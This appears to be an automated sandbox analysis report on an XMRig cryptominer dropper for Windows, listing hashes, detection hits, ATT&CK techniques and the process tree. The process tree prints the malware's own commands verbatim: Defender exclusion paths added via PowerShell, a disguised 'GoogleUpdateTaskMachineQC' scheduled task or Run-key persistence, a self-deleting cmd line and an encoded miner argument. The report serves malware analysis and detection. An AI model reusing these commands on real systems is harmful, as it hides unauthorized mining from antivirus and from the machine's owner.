xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
399s
max time network
1787s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25/01/2024, 16:55

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General

Target

grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2656 created 1204	2656	Y2JYGshMHJGuGREA.exe	17
PID 2656 created 1204	2656	Y2JYGshMHJGuGREA.exe	17
PID 2656 created 1204	2656	Y2JYGshMHJGuGREA.exe	17
PID 2656 created 1204	2656	Y2JYGshMHJGuGREA.exe	17
PID 2780 created 1204	2780	updater.exe	17
PID 2780 created 1204	2780	updater.exe	17
PID 2780 created 1204	2780	updater.exe	17
PID 2780 created 1204	2780	updater.exe	17
PID 1560 created 1204	1560	conhost.exe	17
PID 2780 created 1204	2780	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral15/memory/1980-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1980-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2632	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2780	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2964	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral15/memory/1980-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1980-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2780 set thread context of 1560	2780	updater.exe	53
PID 2780 set thread context of 1980	2780	updater.exe	47

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Y2JYGshMHJGuGREA.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2976	schtasks.exe
2124	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1772	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40085ef8b24fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2656	Y2JYGshMHJGuGREA.exe
2656	Y2JYGshMHJGuGREA.exe
2076	powershell.exe
2656	Y2JYGshMHJGuGREA.exe
2656	Y2JYGshMHJGuGREA.exe
2716	powershell.exe
2656	Y2JYGshMHJGuGREA.exe
2656	Y2JYGshMHJGuGREA.exe
2656	Y2JYGshMHJGuGREA.exe
2656	Y2JYGshMHJGuGREA.exe
2604	powershell.exe
2780	updater.exe
2780	updater.exe
2844	powershell.exe
2780	updater.exe
2780	updater.exe
2792	powershell.exe
2780	updater.exe
2780	updater.exe
2780	updater.exe
2780	updater.exe
1560	conhost.exe
1560	conhost.exe
2780	updater.exe
2780	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2780	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1772	WMIC.exe
Token: SeSecurityPrivilege	1772	WMIC.exe
Token: SeTakeOwnershipPrivilege	1772	WMIC.exe
Token: SeLoadDriverPrivilege	1772	WMIC.exe
Token: SeSystemtimePrivilege	1772	WMIC.exe
Token: SeBackupPrivilege	1772	WMIC.exe
Token: SeRestorePrivilege	1772	WMIC.exe
Token: SeShutdownPrivilege	1772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1772	WMIC.exe
Token: SeUndockPrivilege	1772	WMIC.exe
Token: SeManageVolumePrivilege	1772	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1772	WMIC.exe
Token: SeSecurityPrivilege	1772	WMIC.exe
Token: SeTakeOwnershipPrivilege	1772	WMIC.exe
Token: SeLoadDriverPrivilege	1772	WMIC.exe
Token: SeSystemtimePrivilege	1772	WMIC.exe
Token: SeBackupPrivilege	1772	WMIC.exe
Token: SeRestorePrivilege	1772	WMIC.exe
Token: SeShutdownPrivilege	1772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1772	WMIC.exe
Token: SeUndockPrivilege	1772	WMIC.exe
Token: SeManageVolumePrivilege	1772	WMIC.exe
Token: SeLockMemoryPrivilege	1980	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2976	2716	powershell.exe	32
PID 2716 wrote to memory of 2976	2716	powershell.exe	32
PID 2716 wrote to memory of 2976	2716	powershell.exe	32
PID 2632 wrote to memory of 2472	2632	cmd.exe	33
PID 2632 wrote to memory of 2472	2632	cmd.exe	33
PID 2632 wrote to memory of 2472	2632	cmd.exe	33
PID 2604 wrote to memory of 3048	2604	powershell.exe	36
PID 2604 wrote to memory of 3048	2604	powershell.exe	36
PID 2604 wrote to memory of 3048	2604	powershell.exe	36
PID 2964 wrote to memory of 2780	2964	taskeng.exe	35
PID 2964 wrote to memory of 2780	2964	taskeng.exe	35
PID 2964 wrote to memory of 2780	2964	taskeng.exe	35
PID 2792 wrote to memory of 2124	2792	powershell.exe	45
PID 2792 wrote to memory of 2124	2792	powershell.exe	45
PID 2792 wrote to memory of 2124	2792	powershell.exe	45
PID 2780 wrote to memory of 1560	2780	updater.exe	53
PID 1660 wrote to memory of 1772	1660	cmd.exe	48
PID 1660 wrote to memory of 1772	1660	cmd.exe	48
PID 1660 wrote to memory of 1772	1660	cmd.exe	48
PID 2780 wrote to memory of 1980	2780	updater.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2976
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2124
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1628
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1660
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1560

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2472

C:\Windows\system32\taskeng.exe
taskeng.exe {ACF1A85A-9069-406D-85C6-3BFE5F21AC14} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:3048

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
233KB

MD5
1e91f03715d8317e984b718bf58b49dd

SHA1
182aae8e48fc6a43e0b7ddfdf338afc3db1c5570

SHA256
d1f81ef09dfe20a7e90ba931d8f0ded8e1ba8279ef8513803f7135613723c92f

SHA512
7d2f04574d7ce59ad1e54f43ade319272d7d611f46907bfbacb654c2520082867152b2bea0fbea6e6608d91f43bc13b73c0f13229195ec7b18efaa03c64fb9f0

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
105KB

MD5
826b80b46d02e87cea4789df6fa38987

SHA1
69fac612c07268f0765542b006ef83eb1155f2f0

SHA256
156d90dc3806278d285e95e6e96d03f5ef9d975bff5669018b101a9f4bfd556d

SHA512
ca04d42b6c365d354ab0d9fd3dd65e311f2b3d4a650ac539a8966d5a22bbd7d8c54b54811dd657506d3224dc017b6d776e0ba233a3981f8f00d5d1b71f3b5ef7

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8ae094bd1b572c9432c9862fe7fe1869

SHA1
e0a8e12ebbfce671ea5ac1b157433be73b1ff26e

SHA256
115ecc182977045803007e2b45de8e108806456ea6e06be4d65d468a7fd0b459

SHA512
d0970e62d4c5ac716d0483defd919839f1b296f45b5320d137688f1eab7e71b81252d5225f70730e619d029e3adf412d7bac1defc7e7ccf9241f884ecbacaffa

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
239KB

MD5
a8a8f1171b8f3ae856ee2635268cbef0

SHA1
05f97363aa145e987a5c31efd5fb916b170c1e2f

SHA256
4ddaf4f830132ccf95d6fb64c5c68c451a1c73cfa8260b2b97e6305af6861962

SHA512
d83d9ede8caa20a2b5e8f386cb82088b60c307124315472d5c9c505d7f7e17fefc62f16077ab868e5fe3270c93d34e5146afd68d2b32082310d62a73ea8f0967

Download Submit
memory/1560-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1560-78-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1980-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-69-0x0000000000770000-0x0000000000790000-memory.dmp

Filesize
128KB

Download
memory/1980-68-0x0000000000750000-0x0000000000770000-memory.dmp

Filesize
128KB

Download
memory/1980-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-66-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/1980-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1980-77-0x0000000000770000-0x0000000000790000-memory.dmp

Filesize
128KB

Download
memory/1980-76-0x0000000000750000-0x0000000000770000-memory.dmp

Filesize
128KB

Download
memory/2076-8-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2076-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-6-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/2076-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-12-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2076-11-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2076-10-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2076-13-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2076-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2604-36-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2604-35-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-41-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-40-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2604-39-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2604-38-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2604-37-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2656-29-0x000000013F2A0000-0x000000013F4B1000-memory.dmp

Filesize
2.1MB

Download
memory/2656-0-0x000000013F2A0000-0x000000013F4B1000-memory.dmp

Filesize
2.1MB

Download
memory/2716-23-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-25-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2716-19-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

